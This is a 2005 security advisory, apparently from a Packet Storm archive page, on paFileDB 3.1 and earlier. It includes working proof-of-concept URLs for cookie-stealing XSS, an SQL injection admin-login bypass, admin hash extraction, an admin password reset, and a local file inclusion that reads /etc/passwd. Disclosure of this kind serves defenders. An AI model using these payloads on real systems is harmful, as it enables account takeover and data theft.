what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

paFiledb31vuln.txt

paFiledb31vuln.txt
Posted Jun 21, 2005
Authored by James Bercegay | Site gulftech.org

paFileDB versions 3.1 and below suffer from multiple cross site scripting, SQL injection, and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, sql injection, file inclusion
SHA-256 | 0427960de653354efd8c4d33d81c78d90121dc6b3653b5afe2097495b775a352

paFiledb31vuln.txt

Change Mirror Download
##########################################################
# GulfTech Security Research June 14th, 2005
##########################################################
# Vendor : php Arena
# URL : http://www.phparena.net/pafiledb.php
# Version : paFileDB 3.1 && Earlier
# Risk : Multiple Vulnerabilities
##########################################################



Description:
paFileDB is a popular open source web application offered by
php Arena. paFileDB allows webmasters to open up an interactive
file repository on their website. There are a number of
vulnerabilities in paFileDB that may allow for an attacker to
include arbitrary files, retrieve sensitive user and/or database
information, and completely bypass admin, and team member
authentication. Users should upgrade immediately.



Cross Site Scripting:
There are a number of cross site scripting issues in the paFileDB
software. Majority of these cross site scripting issues stem from
concatenated variables never being initialized.

http://pafiledb/pafiledb.php?action=viewall&start=20&sortby=name%22
%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://pafiledb/pafiledb.php?action=category&id=1&filelist=%22%3E%3C
script%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://pafiledb/pafiledb.php?action=category&id=1&pages=%22%3E
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

These vulnerabilities can be used to render hostile code in the
context of the victims browser, and in turn disclose sensitive
information to an attacker.



SQL Injection:
There are a number of SQL Injection vulnerabilities in paFileDB,
but it should be noted that to exploit these issues magic quotes
gpc must be off. Also, magic quotes off seems to be the default
php.ini settings now so I do consider these issues fairly high
risk. The most serious of the SQL Injection issues lies in the
administrative login.

if ($login == "do")
{
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin
WHERE admin_username = '$formname'", 1);
$formpw = md5($formpass);
if ($formpw == $admin[admin_password])
{
$adminip = getenv ("REMOTE_ADDR");
$ip = md5($adminip);
$user = $formname;
$pass = $formpw;

if ($authmethod == "cookies")
{
$cookiedata = "$ip|$formname|$formpw";
setcookie("pafiledbcookie", $cookiedata);
}

header("Location: admin.php");
}


The variable $formname is taken directly from the submitted login form
and executed in the query, so if magic quotes gpc an attacker can
use UNION SELECT to bypass admin authentication!

http://pafiledb/pafiledb.php?action=admin&login=do&formname=-99'%20UNION
%20SELECT%20admin_id,%20admin_username,%20'6f1ed002ab5595859014ebf0951522d9',
%20admin_email,%201%20FROM%20pafiledb_admin%20WHERE%20'1&formpass=blah&B1=
%3E%3E+Log+In+%3C%3C&action=admin&login=do

The query above uses a UNION SELECT to get the admin username, id, email etc
but we specify the password hash as the md5 encrypted value of the $formpass
variable. This same issue applies to the team login, and also the auth.php
scripts in the /teams/ and /admin/ directory.

There is also an SQL Injection vulnerability that will allow for team
members to
gain the administrative password hash and escalate their privileges to
admin.

http://pafiledb/pafiledb.php?select=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%201/*&B1=%3E%3E+Edit+
Category+%3C%3C&action=team&tm=category&category=edit&edit=form&menu1=%2F
pafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dcategory%26category%3Dedit

http://pafiledb/pafiledb.php?id=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%
201/*&B1=%3E%3E+Edit+File+%3C%3C&action=team&tm=file&file=edit&edit=form&menu1
=%2Fpafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dfile%26file%3Dedit

Last but not least there is a SQL Injection vulnerability in search.php
because the $string variable is never sanitized.

There is one SQL Injection issue in paFileDB that does not require magic_
quotes_gpc to be disabled. This particular issue will let a team member
run any sql command that they like, including making themselves an admin.

http://pafiledb/pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&
query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20MD5%281337%28%
20WHERE%201/*

The above url would successfully set the admin password to 1337 if ran by
a logged in team member or admin. This vulnerability exists because the
$query variable is never declared before being concatenated so we can in
turn hijack the $query variable and run any sql commands we like.



Local File Include Vulnerability:
paFileDB is vulnerable to a local file inclusion vulnerability that may
allow for an attacker to execute arbitrary local scripts, or read/access
arbitrary files on the webserver. Let's look at pafiledb.php

if ($login == "do") { include "./includes/$action/login.php"; exit; }
if ($ad == "logout") { include "./includes/admin/logout.php"; exit; }
if ($tm == "logout") { include "./includes/team/logout.php"; exit; }

The $action variable is never sanitized and vulnerable to directory
traversal sequences.

http://pafiledb/pafiledb.php?action=../../../../etc/passwd%00&login=do

This vulnerability exists on all paFileDB configurations, as all GPC
is extracted to global variables.



Solution:
A new version of paFileDB has been released, so upgrading is advised.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00082-06142005



Credits:
James Bercegay of the GulfTech Security Research Team

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close